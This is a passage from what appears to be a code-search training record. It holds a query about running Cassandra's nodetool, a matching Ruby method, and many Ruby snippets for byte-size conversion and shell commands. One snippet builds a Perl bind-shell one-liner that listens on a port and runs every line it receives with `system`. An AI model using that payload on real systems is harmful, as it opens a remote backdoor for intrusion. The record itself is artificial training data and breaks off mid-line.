\"#{num.to_i} #{x}\"\n else\n num = num/1024.0\n end\n end\n end", "def convert_size(block_size,blocks)\n size = block_size * blocks\n if size > SIZE_GB\n return [(size / SIZE_GB).to_i,\"GB\"]\n else\n return [(size / SIZE_MB).to_i,\"MB\"]\n end\n end", "def bits_to_human_readable(num)\n ['bytes','KB','MB','GB','TB'].each do |x|\n if num < 1024.0\n return \"#{num.to_i} #{x}\"\n else\n num = num/1024.0\n end\n end\n end", "def unit_converter(value, input_unit, output_unit)\n\t\treturn 0 if value == 0\n\t\treturn value if input_unit.downcase == output_unit.downcase\n\n\t\tif input_unit.downcase == 'gb'\n\t\t\tif output_unit.downcase == 'mb'\n\t\t\t\treturn value * 1024\n\t\t\tend\n\t\telse\n\t\t\tif input_unit.downcase == 'mb'\n\t\t\t\tif output_unit.downcase == 'gb'\n\t\t\t\t\treturn value / 1024\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tif input_unit.downcase == 'tb'\n\t\t\t\t\tif output_unit.downcase == 'gb'\n\t\t\t\t\t\treturn value * 1024\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend", "def human_bytes(bytes)\n number_to_human bytes, units: BYTE_UNITS\n end", "def human_filesize(value)\n {\n 'B' => 1024,\n 'KB' => 1024 * 1024,\n 'MB' => 1024 * 1024 * 1024,\n 'GB' => 1024 * 1024 * 1024 * 1024,\n 'TB' => 1024 * 1024 * 1024 * 1024 * 1024\n }.each_pair { |e, s| return \"#{(value.to_f / (s / 1024)).round(1)} #{e}\" if value.to_i < s }\n end", "def to_bytes(*args)\n messages = to_messages(*args)\n if !messages.nil?\n messages.map(&:to_bytes).flatten\n elsif args.all? { |arg| bytes?(arg)}\n args\n end\n end", "def unit2raw(str)\n val, unit = str.split()\n\n if unit.casecmp(\"kb\")\n ret = val.to_i * 1024\n elsif unit.casecmp(\"mb\")\n ret = val.to_i * 1024 * 1024\n elsif unit.casecmp(\"gb\")\n ret = val.to_i * 1024 * 1024 * 1024\n end\n \n return ret.to_s\nend", "def to_mb( val ) \n return 0 unless val\n return (\"%5.2f\" % val ) if val < 1_000_000\n \"%5.2f Mb\" % (val/1_000_000.0)\n end", "def converted_file_size(size:)\n return { size: nil, unit: 'mb' } unless size.present? && size.is_a?(Numeric) && size.positive?\n return { size: size / 1.petabytes, unit: 'pb' } if size >= 1.petabytes\n return { size: size / 1.terabytes, unit: 'tb' } if size >= 1.terabytes\n return { size: size / 1.gigabytes, unit: 'gb' } if size >= 1.gigabytes\n return { size: size / 1.megabytes, unit: 'mb' } if size >= 1.megabytes\n\n { size: size, unit: '' }\n end", "def number_to_human_size(bytes, options = {})\n NumberToHumanSize.convert(bytes, options)\n end", "def convertsize(str)\n\t\t\t\tif(str.kind_of?(Numeric))\n\t\t\t\t\treturn(str)\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tstr.strip!()\n\t\t\t\tregex = /^([0-9]+(?:\\.[0-9]+)?)\\s*([gmk])b?$/i\n\t\t\t\tmatch = regex.match(str)\n\t\t\t\tif(match == nil)\n\t\t\t\t\traise(ArgumentError, \"Unable to parse size of \\\"#{str}\\\"\")\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tsize = match[1].to_f()\n\t\t\t\t\n\t\t\t\tcase(match[2].downcase())\n\t\t\t\twhen('g')\n\t\t\t\t\tsize = size * 1024 * 1024 * 1024\n\t\t\t\twhen('m')\n\t\t\t\t\tsize = size * 1024 * 1024\n\t\t\t\twhen('k')\n\t\t\t\t\tsize = size * 1024\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\treturn(size)\n\t\t\tend", "def format_size(bytes)\n sprintf \"%0.1fG\", bytes.to_f / 10**9\nend", "def to_bytes(order=nil, siz=nil)\n to_chars(order,siz) {|c| c.chr }.join\n end", "def to_filesize(size)\n # size = '0' if size.nil?\n size = size.to_s\n\n units = {\n 'B' => 1.0 / (1024 * 1024),\n 'K' => 1.0 / 1024,\n 'M' => 1,\n 'G' => 1024,\n 'T' => 1024 * 1024\n }\n\n unit = size[-1]\n unit = 'B' unless units.key?(unit)\n\n \"#{size[0..-1].to_f * units[unit]}M\"\n end", "def human_bytes(bytes, precision = 0)\n return 0.to_s if bytes < 1\n {T: 1000*1000*1000*1000, G: 1000*1000*1000, M: 1000*1000, K: 1000, B: 1}.each do |unit, value|\n return \"#{(bytes.to_f/value).round(precision)}#{unit}\" if bytes >= value\n end\n end", "def calculate_string_size_in_kb string\n total_bytes = 0\n string.each_byte {|b| total_bytes += 1}\n result = total_bytes.to_f / 1024.to_f\n end", "def to_bytes\n data = items_to_bytes\n all_data = [@data_size, @next_page, @max, @min, @id, 0] + data\n $logger.logs [:data_size, @data_size, :next_page , @next_page, :max, @max, :min, @min, :id, @id].join(\",\")\n $logger.logs \"data: #{data.join(\",\")}\"\n all_data.pack('L*')\n end", "def to_byte_val(s)\n val = 0\n s.each_char do |x|\n val *= 2\n val += x.to_i\n end\n return val\nend", "def byte\n Util.from_bytes :byte, value\n end", "def string_to_bin(string)\n\tsize = pay_size_enc(string.length)\n\tdata = string.unpack(\"B*\")[0].split(\"\")\n\n\tans = size.concat(data)\nend", "def sizeBytes(value)\n checkArg value >= 0\n mval = 0x100\n cnt = 1\n while value >= mval\n cnt += 1\n mval <<= 8\n end\n cnt\n end", "def convert_binary\n end", "def gigabytes(value, unit = \"B\")\n round(megabytes(value, unit) / 1024)\n end", "def bigdecimal\n Util.from_bytes :bigdecimal, value\n end", "def get_bytes()\n @value\n end", "def bytes()\n #This is a stub, used for indexing\n end", "def file_total_size_gb\n ((total_ram_mb.to_f * 2).to_f / 1024).ceil\n end", "def human_size\n count = 0\n n = size\n while n >= 1024 and count < 4\n n /= 1024.0\n count += 1\n end\n format(\"%.1f\",n) + %w(B kB MB GB TB)[count]\n end", "def number_to_human_size(number)\n base = 1024\n\n if number.to_i < base\n \"#{number} bytes\"\n else\n number = number.to_f\n max_exp = STORAGE_UNITS.size - 1\n exponent = (Math.log(number) / Math.log(base)).to_i # Convert to base\n exponent = max_exp if exponent > max_exp # we need this to avoid overflow for the highest unit\n number /= base ** exponent\n\n unit_key = STORAGE_UNITS[exponent]\n\n \"#{number.round(2)} #{unit_key.to_s}\"\n end\n\n end", "def jbytes( *args )\n args.map { |arg| arg.to_s.to_java_bytes }\nend", "def bytesize\n @bytesize ||= @jrepo.open(@jblob).get_size \n end", "def jbytes( *args )\n args.map{ |arg| arg.to_s.to_java_bytes }\nend", "def bytesize(enc)\n end", "def get_file_size_in_mb\n mb = ::ApplicationController.helpers.number_to_human_size(self.file_size, precision: 2) \n return mb\n end", "def available_bytes\n available * pagesize\n end", "def terabytes\n self * TERABYTE\n end", "def bytes; end", "def pretty_memsize(memsize, unit=nil)\n un = nil\n case unit\n when nil\n un = 1\n when \"k\"\n un = 1_000\n when \"m\"\n un = 1_000_000\n when \"g\"\n un = 1_000_000_000\n else\n raise \"Error! Invalid unit '#{unit}'\"\n end\n\n res = memsize.to_i * un\n len = res.to_s.size \n\n if len < 4 \n return res.to_s + \" B\"\n elsif len < 7\n return (res/1_000).to_i.to_s + \" kB\"\n elsif len < 10\n return (res/1_000_000).to_i.to_s + \" MB\"\n elsif len < 13\n return (res/1_000_000_000).to_i.to_s + \" GB\"\n elsif len < 16\n return (res/1_000_000_000_000).to_i.to_s + \" TB\"\n elsif len < 19\n return (res/1_000_000_000_000_000).to_i.to_s + \" PB\"\n elsif len < 22\n return (res/1_000_000_000_000_000_000).to_i.to_s + \" EB\"\n else\n return (res/1_000_000_000_000_000_000_000).to_i.to_s + \" ZB\"\n end\nend", "def bytesize\n stream_size\n end", "def bytes(str)\n Simms::Bytes.new(str)\n end", "def byte_spec_to_int(s)\n if s =~ /([0-9 ]+)\\s*([kKMGT])B?/\n num = $1\n multiplier = $2\n num = num.gsub(' ', '').to_i\n multiplier =\n case multiplier\n when 'k', 'K'\n 1024\n when 'M'\n 1024 * 1024\n when 'G'\n 1024 * 1024 * 1024\n when 'T'\n 1024 * 1024 * 1024 * 1024\n else\n raise \"Unrecognized multiplier in size specification: #{$2}\"\n end\n num * multiplier\n else\n raise \"Unrecognized size specification: #{s}\"\n end\n end", "def kilobytes\n self * KILOBYTE\n end", "def integer_to_bytes(integer, length)\n length.times.map { |i| (integer >> (i * 8)) & 0xFF }\n end", "def str_to_bignum(s)\n n = 0\n s.each_byte{|b|n=n*256+b}\n n\nend", "def megabytes(value, unit = \"B\")\n value = value.to_f\n case unit\n when 'B' then value /= 1048576 # bytes\n when 'K', 'KB', 'KiB' then value /= 1024 # kiloytes\n when 'G', 'GB', 'GiB' then value *= 1024 # gigabytes\n when 'T', 'TB', 'TiB' then value *= 1048576 # terabytes\n end\n round(value)\n end", "def bytesize(string)\n string.respond_to?(:bytesize) ? string.bytesize : string.length\n end", "def megabytes\n self * MEGABYTE\n end", "def human_readable_file_size(num, type='file')\n string = ''\n factor = 1024\n suffixes = ['KB', 'MB', 'GB', 'TB']\n if type == 'base10'\n factor = 1000\n suffixes = ['', 'K', 'M', 'B']\n end\n\n if num < factor\n string = \"#{num}#{suffixes[0]}\"\n elsif num < factor**2\n string = \"#{((num) / factor).round(1)}#{suffixes[1]}\"\n elsif num < factor**3\n string = \"#{((num) / (factor*factor)).round(1)}#{suffixes[2]}\"\n else\n string = \"#{((num) / (factor*factor*factor)).round(1)}#{suffixes[3]}\"\n end\n\n return string\nend", "def disk_usage_mb \n return disk_usage \n end", "def get_byte\n scan(/./mn)\n end", "def gigabytes\n self * GIGABYTE\n end", "def display(b)\n\tif b < 1000\n\t\tputs \"#{b} bytes\"\n\telsif b < 1000000\n\t\ta = b.to_f\n\t\ta = a/1000\n\t\ta = a.round(1)\n\t\tputs \"#{a} kB\"\n\telsif b < 1000000000\n\t\ta = b.to_f\n\t\ta = a/1000000\n\t\ta = a.round(1)\n\t\tputs \"#{a} MB\"\n\telsif b < 1000000000000\n\t\ta = b.to_f\n\t\ta = a/1000000000\n\t\ta = a.round(1)\n\t\tputs \"#{a} GB\"\n\telse\n\t\ta = b.to_f\n\t\ta = a/1000000000000\n\t\ta = a.round(1)\n\t\tputs \"#{a} TB\"\n\tend\nend", "def num_bytes(what = nil)\n num = do_num_bytes(what)\n num.ceil\n end", "def write(string)\n string.to_s.bytesize\n end", "def bytes_to_bin(bytes)\n bytes.pack(\"C*\")\n end", "def convert_to_base_8(n)\n n.to_s(8).to_i # replace these two method calls\nend", "def percent_bytes(fs_info)\n (100.0 - (100.0 * fs_info.bytes_free / fs_info.bytes_total)).round(2)\n end", "def percent_bytes(fs_info)\n (100.0 - (100.0 * fs_info.bytes_free / fs_info.bytes_total)).round(2)\n end", "def quartets_to_byte(quartetsToConvert)\n\tquartetsToConvert[1] | (quartetsToConvert[0] << 4)\nend", "def petabytes\n self * PETABYTE\n end", "def byte_size\n inject(0){ |sum, path| sum + FileTest.size(path) }\n end", "def humanStringToByte(s, b)\n s = \"0b\" if Builtins.size(s) == 0\n s = Ops.add(s, \"b\") if Builtins.findfirstof(s, \"bB\") == nil\n Storage.ClassicStringToByte(s)\n end", "def exabytes\n self * EXABYTE\n end", "def scale(value)\n scaled = case value\n when 0..1023\n [value, 'B']\n when 1024..1024**2 - 1\n [value / 1024, 'KB']\n when 1024^2..1024**3 - 1\n [value / 1024**2, 'MB']\n else\n [value / 1024**3, 'GB']\n end\n end", "def str2bin(message)\n binary = message.unpack(\"B*\")[0]\n return binary\nend", "def to_bytes v\n HBase.import_java_classes!\n\n case v\n when Array\n v.to_java(Java::byte)\n when String, ByteArray\n v.to_java_bytes\n when Fixnum\n Bytes.java_send :toBytes, [Java::long], v\n when Symbol\n v.to_s.to_java_bytes\n when Float\n Bytes.java_send :toBytes, [Java::double], v\n when true, false, ByteBuffer\n Bytes.to_bytes v\n when nil\n ''.to_java_bytes\n when Bignum\n raise ArgumentError, \"Integer too large. Consider storing it as a BigDecimal.\"\n when BigDecimal\n Bytes.java_send :toBytes, [java.math.BigDecimal], v.to_java\n when java.math.BigDecimal\n Bytes.java_send :toBytes, [java.math.BigDecimal], v\n when Hash\n len = v.length\n raise ArgumentError, \"Unknown value format\" unless len == 1\n\n val = v.values.first\n raise ArgumentError, \"Unknown value format\" unless val.is_a?(Numeric)\n\n case v.keys.first\n when :byte\n [val].to_java(Java::byte)\n when :int\n Bytes.java_send :toBytes, [Java::int], val\n when :short\n Bytes.java_send :toBytes, [Java::short], val\n when :long, :fixnum\n Bytes.java_send :toBytes, [Java::long], val\n when :float\n Bytes.java_send :toBytes, [Java::float], val\n when :double\n Bytes.java_send :toBytes, [Java::double], val\n else\n raise ArgumentError, \"Invalid value format\"\n end\n else\n if java_bytes?(v)\n v\n else\n raise ArgumentError.new(\"Don't know how to convert #{v.class} into Java bytes\")\n end\n end\n end", "def convert_to_binary\n @input.class == String ? @input : @input.to_s(2)\n end", "def to_byte\n self.chr\n end", "def bytesize_of(member)\n self.class.bytesize_of(member)\n end" ]
[ "0.8044445", "0.780757", "0.7569341", "0.7409043", "0.7400507", "0.7327545", "0.7217593", "0.7189837", "0.71879673", "0.7100591", "0.7099529", "0.6972461", "0.6972461", "0.6749323", "0.6644065", "0.6630765", "0.6593968", "0.6512339", "0.6504098", "0.6500832", "0.6498892", "0.6498892", "0.64879096", "0.64829755", "0.6477225", "0.6474151", "0.6405065", "0.6375424", "0.6331271", "0.62892056", "0.62625396", "0.624858", "0.6212928", "0.617678", "0.61739004", "0.6120397", "0.61162084", "0.6090067", "0.6079234", "0.6068582", "0.60098785", "0.59633493", "0.5957798", "0.593601", "0.5928023", "0.5916056", "0.5841531", "0.5782056", "0.5779538", "0.5756823", "0.57395834", "0.56924284", "0.567324", "0.566665", "0.5655996", "0.56330466", "0.5625925", "0.5613509", "0.56073713", "0.5598577", "0.55970293", "0.55841476", "0.5583124", "0.5577639", "0.5566592", "0.5557082", "0.555318", "0.55441415", "0.55381024", "0.55363625", "0.5491889", "0.549116", "0.54860073", "0.5483689", "0.5474825", "0.54712015", "0.54681194", "0.5458785", "0.54497457", "0.54191935", "0.5408995", "0.54024374", "0.54014933", "0.54003584", "0.53901756", "0.5370641", "0.5358564", "0.5352882", "0.5351566", "0.53496903", "0.5347749", "0.53455853", "0.53439665", "0.5317007", "0.53008175", "0.528572", "0.5283212", "0.527284", "0.5268709", "0.52660394" ]
0.71189374
9
execute cassandra's nodetool and return output as string
def nodetool_cmd(cmd) `nodetool -h #{config[:hostname]} -p #{config[:port]} #{cmd}` end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def nodetool_info()\n out = `/opt/cassandra/bin/nodetool info`\n if $? == 0\n props = {}\n out.split(\"\\n\").each do |line|\n p = line.split(':')\n props[p.first.strip] = p.last.strip\n end\n return props\n else\n Chef::Log.warn(\"nodetool info failed with #{out}\")\n return nil\n end\n end", "def nodetool_command(*more_args)\n [File.join(@cassbin, 'nodetool'), '-h', @host, '-p', @jmx_port, more_args].flatten\n end", "def nodetool_status()\n out = `/opt/cassandra/bin/nodetool status`\n raise 'nodetool status failed' if $? != 0\n rows = out.split(\"\\n\")\n hash = {}\n dc_exp = /Datacenter: (.*)/\n #vnode\n #-- Address Load Tokens Owns Host ID Rack\n #non-vnode\n #-- Address Load Owns Host ID Token Rack\n #node_ex = /^(?<status>[UD\\?][NLJM]) +(?<address>(?:[0-9]{1,3}\\.){3}[0-9]{1,3}) +(?<load>(\\d+\\.?\\d* (TB|GB|MB|KB|bytes))|\\?) +(?<tokens>\\d+) +(?<owns>(\\d+\\.?\\d*%|\\?)) +(?<hostid>[a-z0-9\\-]+) +(?<rack>.*)$/\n node_ex = /^([UD\\?][NLJM]) +((?:[0-9]{1,3}\\.){3}[0-9]{1,3}) +((?:\\d+\\.?\\d* (?:TB|GB|MB|KB|bytes))|\\?) +(\\d+) +(\\d+\\.?\\d*%|\\?) +([a-z0-9\\-]+) +(.*)$/\n datacenter = nil\n rows.each do |row|\n m = dc_exp.match(row)\n if m\n datacenter = m[1]\n next\n end\n m = node_ex.match(row)\n next if m == nil\n node = {'datacenter' => datacenter}\n hash[m[2]] = node\n i = 0\n %w(status address load tokens owns hostid rack).each do |name|\n node[name] = m[i += 1]\n end\n # m.names.each do |name|\n # node[name] = m[name]\n # end\n end\n return hash\n end", "def nodetool_statusthrift\n @nodetool_statusthrift||= DaemonRunner::ShellOut.new(command: 'nodetool statusthrift')\n @nodetool_statusthrift.run!\n @nodetool_statusthrift.stdout\n end", "def nodetool_netstats\n @nodetool_netstats ||= DaemonRunner::ShellOut.new(command: 'nodetool netstats', timeout: 300)\n @nodetool_netstats.run!\n @nodetool_netstats.stdout\n end", "def nodetool_statusgossip\n @nodetool_statusgossip ||= DaemonRunner::ShellOut.new(command: 'nodetool statusgossip')\n @nodetool_statusgossip.run!\n @nodetool_statusgossip.stdout\n end", "def get_node_version\n run_ssh_command('node --version')\n end", "def get_node_launch_command(node_info, mode, offset, nw_name)\n pwd = `pwd`.gsub(/\\n+/,\"\")\n ds = node_info.dir_structure\n if :docker.eql? mode\n docker_rpc_port = 6666\n docker_api_port = 7777\n \"docker run \\\n --name #{node_info.id} \\\n --hostname #{node_info.id} \\\n -e NODE_ID=#{node_info.id} \\\n -e ELECTION_TIMEOUT_MILLIS=3000 \\\n --mount type=bind,source=#{pwd}/#{ds.log},target=/node/cluster-data/log \\\n --mount type=bind,source=#{pwd}/#{ds.state},target=/node/cluster-data/state \\\n --mount type=bind,source=#{pwd}/#{ds.snapshot},target=/node/cluster-data/snapshot \\\n --mount type=bind,source=#{pwd}/#{ds.cluster},target=/node/cluster-data/cluster,readonly \\\n -p #{docker_api_port + offset}:#{docker_api_port} \\\n --network=#{nw_name} \\\n raft:local \\\n \".gsub(/\\s+/, \" \")\n else\n \"./raft \n --id=#{node_info.id} \\\n --api-port=#{node_info.api_port} \\\n --rpc-port=#{node_info.rpc_port} \\\n --log-entry-path=#{ds.log} \\\n --log-metadata-path=#{ds.log}/metadata.json \\\n --raft-state-path=#{ds.state}/state.json \\\n --election-timeout=3000 \\\n --rpc-timeout=2000 \\\n --api-timeout=2000 \\\n --api-fwd-timeout=1500 \\\n --max-conn-retry-attempts=5 \\\n --snapshot-path=#{ds.snapshot} \\\n --cluster-config-path=#{ds.cluster}/config.json \\\n \".gsub(/\\s+/, \" \")\n end\nend", "def execute(node, command)\n params = {}\n params[:exceptiononfailure] = false\n params[:exitcode] = true\n (exitcode, output) = node.execute(command, params)\n return [exitcode.to_i, output]\n end", "def run_cmd(cmd)\n Chef::Log.info \"executing: #{cmd}\"\n result = Mixlib::ShellOut.new(cmd).run_command.stdout.strip\n return result\nend", "def cli_command(*more_args)\n [File.join(@cassbin, 'cassandra-cli'), '-h', @host, '-p', @rpc_port, more_args].flatten\n end", "def node_cluster_id() ; info[:node_cluster] ; end", "def output_success\n puts \"status Cman node status for #{@hostname}\"\n @metrics.each do |name,v|\n puts \"metric #{name} #{v[:type]} #{v[:value]}\"\n end\nend", "def cluster_status\n # Default formatting changed to \"table\" in 3.8, need to explicity specify\n # \"erlang\" to parse output properly.\n installed_version = Gem::Version.new(installed_rabbitmq_version)\n version_requiring_formatter = Gem::Version.new('3.8.0')\n cmd = +'rabbitmqctl -q cluster_status'\n cmd << ' --formatter erlang' if installed_version >= version_requiring_formatter\n # execute > rabbitmqctl cluster_status\"\n # This removes an optional \"... Done\" linee that older version used to output\n Chef::Log.debug(\"[rabbitmq_cluster] Executing #{cmd}\")\n cmd = get_shellout(cmd)\n cmd.run_command\n cmd.error!\n result = cmd.stdout.squeeze(' ').gsub(/\\n */, '').gsub('...done.', '')\n Chef::Log.debug(\"[rabbitmq_cluster] #{cmd} : #{result}\")\n result\n end", "def get_output(job_data)\n result = \"\"\n make_call(NO_TIMEOUT, false) { \n result = conn.neptune_get_output(job_data, @secret)\n } \n abort(result) if result =~ /Error:/\n return result\n end", "def pbsnodes(cluster_server)\n #cmd = pbs_bin.join(\"pbsnodes\").to_s\n args = [\"-s\", cluster_server, \":gpu\"]\n o, e, s = Open3.capture3(cmd, *args)\n s.success? ? o : raise(CommandFailed, e)\n rescue Errno::ENOENT => e\n raise InvalidCommand, e.message\n end", "def tungsten_cmd_result(command)\n original_fwd_state = forward_cmd_results?()\n begin\n if TI\n prefix = \"export CONTINUENT_ROOT=#{TI.root()}; \"\n else\n prefix = \"\"\n end\n \n forward_cmd_results?(true)\n return cmd_result(\"#{prefix}#{command} #{get_tungsten_command_options()}\")\n ensure\n forward_cmd_results?(original_fwd_state)\n end\n end", "def stdout\n @cmd_result.stdout\n end", "def get_cluster_debug_report\n report = \"\\n\"\n primitives_status_by_node.each do |primitive, data|\n primitive_name = primitive\n primitive_name = primitives[primitive]['name'] if primitives[primitive]['name']\n primitive_type = 'Simple'\n primitive_type = 'Cloned' if primitive_is_clone? primitive\n primitive_type = 'Multistate' if primitive_is_multistate? primitive\n primitive_status = primitive_status primitive\n\n report += \"-> #{primitive_type} primitive '#{primitive_name}' global status: #{primitive_status}\"\n report += ' (UNMANAGE)' unless primitive_is_managed? primitive\n report += \"\\n\"\n report += ' ' if data.any?\n nodes = []\n data.keys.sort.each do |node_name|\n node_status = data.fetch node_name\n node_block = \"#{node_name}: #{node_status}\"\n node_block += ' (FAIL)' if primitive_has_failures? primitive, node_name\n nodes << node_block\n end\n report += nodes.join ' | '\n report += \"\\n\"\n end\n report\n end", "def commandResult\n\t\t\t%x(#{@cmd} 2> /dev/null)\n\t\tend", "def run(command)\n result = connection.exec!(command)\n puts \"[BEGIN #{@host}: #{command}]\"\n puts \" #{result}\"\n puts \"[END #{@host}: #{command}]\"\n end", "def command_string\n\n cmd = \"perl -MIO -e '$p=fork();exit,if$p;\" +\n \"$c=new IO::Socket::INET6(LocalPort,#{datastore['LPORT']},Reuse,1,Listen)->accept;\" +\n \"$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>'\"\n\n return cmd\n end", "def get_node_id_by_name(name, keyname, secret)\n\tget_node_cmd = \"#{node[:zendserver][:zsmanage]} cluster-list-servers -N #{keyname} -K #{secret} -U http://#{node[:hostname]}:10081/ZendServer/\"\n\tp = shell_out(get_node_cmd)\n\tp.stdout.split(/\\n/).grep(/#{name}/)[0].split(/\\t/)[0]\nend", "def generate_report\n case node['platform']\n when 'redhat'\n Chef::Log.info('Generating healthcheck reports for TSCM .......')\n\n # check for key required for server authentication\n verify_key\n\n # generating reports command\n rep_command = \"powershell.exe -File 'C:/TSCM_Automation/TSCM_wrapper.ps1' #{node['tscm']['report_ot']} #{node['tscm']['node_name']} #{node['tscm']['OS_type']} \"\n\n # generating TSCM reports\n execute 'generate-report-tscm' do\n command \"ssh -n -o StrictHostKeyChecking=no #{node['tscm']['proxy_user']}@#{node['tscm']['proxy_server']} -i #{node['tscm']['key']} \" + rep_command.to_s\n action :run\n not_if { (node['tscm']['registration_status']).to_s == 'success'}\n end\n\n # downloading reports from tscm server\n execute 'download-reports-zip' do\n command \"scp -o StrictHostKeyChecking=no -i #{node['tscm']['key']} #{node['tscm']['proxy_user']}@#{node['tscm']['proxy_server']}:/c:/TSCM_Automation/Reports/#{node['tscm']['node_name']}/#{node['tscm']['node_name']}.zip #{node['tscm']['download_path']} \"\n live_stream true\n action :run\n not_if { (node['tscm']['registration_status']).to_s == 'success'}\n end\n\n # downloading reports text file from tscm server\n execute 'download-report-text' do\n command \"scp -o StrictHostKeyChecking=no -i #{node['tscm']['key']} #{node['tscm']['proxy_user']}@#{node['tscm']['proxy_server']}:/c:/TSCM_Automation/Reports/#{node['tscm']['node_name']}/#{node['tscm']['node_name']}.txt #{node['tscm']['download_path']} \"\n live_stream true\n action :run\n not_if { (node['tscm']['registration_status']).to_s == 'success'}\n end\n\n client_pref = shell_out(\"grep 'debug=false' #{node['tscm']['client_pref']} \").stdout.chop\n\n if client_pref.include?('debug=false')\n Chef::Log.info('File Up to date..........Nothing to do')\n else\n # update the client.pref file to debug mode\n execute 'update-client.pref' do\n command \"sed -i -e 's/debug=true/debug=false/' #{node['tscm']['client_pref']}\"\n action :run\n end\n\n # restarting TSCM agent service for changes to take effect\n service node['tscm']['service_name'].to_s do\n action :stop\n end\n\n service node['tscm']['service_name'].to_s do\n action :start\n end\n end\n\n # removing unwanted files\n file node['tscm']['key'].to_s do\n action :delete\n only_if { ::File.exist?(node['tscm']['key'].to_s) }\n end\n\n file node['tscm']['copy_script_path'].to_s do\n action :delete\n only_if { ::File.exist?(node['tscm']['copy_script_path'].to_s) }\n end\n\n tempfolder = '/opt/IBM/tscm_temp'\n directory tempfolder.to_s do\n recursive true\n action :delete\n only_if { ::File.exist?(tempfolder.to_s) }\n end\n\n ruby_block 'display-deviations-found' do\n block do\n if ::File.exist?(\"#{node['tscm']['download_path']}#{node['tscm']['node_name']}.txt\")\n\t # setting tscm deviation attribute\n deviation = shell_out(\"cat #{node['tscm']['download_path']}#{node['tscm']['node_name']}.txt\").stdout\n # deviation[0,2] = ''\n node.default['tscm']['deviation'] = \"#{deviation}\"\n puts \"No of deviations found : #{deviation}\"\n else\n Chef::Log.info(\"Report not generated !\")\n end\n end\n end\n\n # generating reports on aix\n when 'aix'\n Chef::Log.info('Generating healthcheck reports for TSCM .......')\n\n # check if the key is available; download in case it is not available\n verify_key\n # generating reports command\n rep_command = \"powershell.exe -File 'C:/TSCM_Automation/TSCM_wrapper.ps1' #{node['tscm']['report_ot']} #{node['tscm']['node_name']} #{node['tscm']['OS_type']} \"\n\n # generating TSCM reports\n execute 'generate-report-tscm' do\n command \"ssh -n -o StrictHostKeyChecking=no #{node['tscm']['proxy_user']}@#{node['tscm']['proxy_server']} -i #{node['tscm']['key']} \" + rep_command.to_s\n action :run\n not_if { (node['tscm']['registration_status']).to_s == 'success' }\n end\n\n # downloading reports from tscm server\n execute 'download-reports-zip' do\n command \"scp -o StrictHostKeyChecking=no -i #{node['tscm']['key']} #{node['tscm']['proxy_user']}@#{node['tscm']['proxy_server']}:/c:/TSCM_Automation/Reports/#{node['tscm']['node_name']}/#{node['tscm']['node_name']}.zip #{node['tscm']['download_path']} \"\n action :run\n not_if { (node['tscm']['registration_status']).to_s == 'success' || (node['tscm']['registration_status']).to_s == 'fail' }\n end\n\n # downloading reports text file from tscm server\n execute 'download-report-text' do\n command \"scp -o StrictHostKeyChecking=no -i #{node['tscm']['key']} #{node['tscm']['proxy_user']}@#{node['tscm']['proxy_server']}:/c:/TSCM_Automation/Reports/#{node['tscm']['node_name']}/#{node['tscm']['node_name']}.txt #{node['tscm']['download_path']} \"\n action :run\n not_if { (node['tscm']['registration_status']).to_s == 'success' }\n end\n\n client_pref = shell_out(\"grep 'debug=false' #{node['tscm']['client_pref']} \").stdout.chop\n\n if client_pref.include?('debug=false')\n Chef::Log.info('File Up to date..........Nothing to do')\n else\n # update the client.pref file to debug mode\n execute 'update-client.pref' do\n command \"sed -e 's/debug=true/debug=false/g' #{node['tscm']['client_pref']}\"\n action :run\n end\n\n # restarting TSCM agent service for changes to take effect\n execute 'restart-tscm-service' do\n command '/opt/IBM/SCM/client/jacclient restart'\n action :run\n end\n end\n\n # removing unwanted files\n file node['tscm']['key'].to_s do\n action :delete\n only_if { ::File.exist?(node['tscm']['key'].to_s) }\n end\n\n file node['tscm']['copy_script_path'].to_s do\n action :delete\n only_if { ::File.exist?(node['tscm']['copy_script_path'].to_s) }\n end\n\n tempfolder = '/opt/IBM/tscm_temp'\n directory tempfolder.to_s do\n recursive true\n action :delete\n only_if { ::File.exist?(tempfolder.to_s) }\n end\n\n ruby_block 'display-deviations-found' do\n block do\n if ::File.exist?(\"#{node['tscm']['download_path']}#{node['tscm']['node_name']}.txt\")\n\t # setting tscm deviation attribute\n deviation = shell_out(\"cat #{node['tscm']['download_path']}#{node['tscm']['node_name']}.txt\").stdout\n # deviation[0,2] = ''\n node.default['tscm']['deviation'] = \"#{deviation}\"\n puts \"No of deviations found : #{deviation}\"\n else\n Chef::Log.info(\"Report not generated !\")\n end\n end\n end\n end\nend", "def initialize(opts={})\n @keyspace = opts[:keyspace] || \"Nodule\"\n\n @temp = Nodule::Tempfile.new(:directory => true, :prefix => \"nodule-cassandra\")\n @tmp = @temp.file\n\n @data = File.join(@tmp, 'data')\n @caches = File.join(@tmp, 'caches')\n @commit = File.join(@tmp, 'commitlogs')\n\n @host = \"127.0.0.1\" # will support 127.0.0.2 someday\n @jmx_port = Nodule::Util.random_tcp_port\n @rpc_port = Nodule::Util.random_tcp_port\n @storage_port = Nodule::Util.random_tcp_port\n @ssl_storage_port = Nodule::Util.random_tcp_port\n\n @casshome = \"#{@tmp}/#{CASSANDRA}\"\n @pidfile = \"#{@casshome}/cassandra.pid\"\n @cassbin = \"#{@casshome}/bin\"\n @command = [\"#{@cassbin}/cassandra\", \"-f\", \"-p\", @pidfile]\n @config = \"#{@casshome}/conf/cassandra.yaml\"\n @envfile = \"#{@casshome}/conf/cassandra-env.sh\"\n @log4j = \"#{@casshome}/conf/log4j-server.properties\"\n @logfile = \"#{@tmp}/system.log\"\n\n # This handler reads STDOUT to determine when Cassandra is ready for client\n # access. Coerce the stdout option into an array as necessar so options can\n # still be passed in.\n if opts[:stdout]\n unless opts[:stdout].kind_of? Array\n opts[:stdout] = [ opts.delete(:stdout) ]\n end\n else\n opts[:stdout] = []\n end\n\n # Watch Cassandra's output to be sure when it's available, obviously, it's a bit fragile\n # but (IMO) better than sleeping or poking the TCP port.\n @mutex = Mutex.new\n @cv = ConditionVariable.new\n opts[:stdout] << proc do |item|\n @mutex.synchronize do\n @cv.signal if item =~ /Listening for thrift clients/\n end\n end\n\n super({\"CASSANDRA_HOME\" => @casshome}, *@command, opts)\n end", "def execute_command\n begin\n if @cgi.has_key?('type') then\n doc = 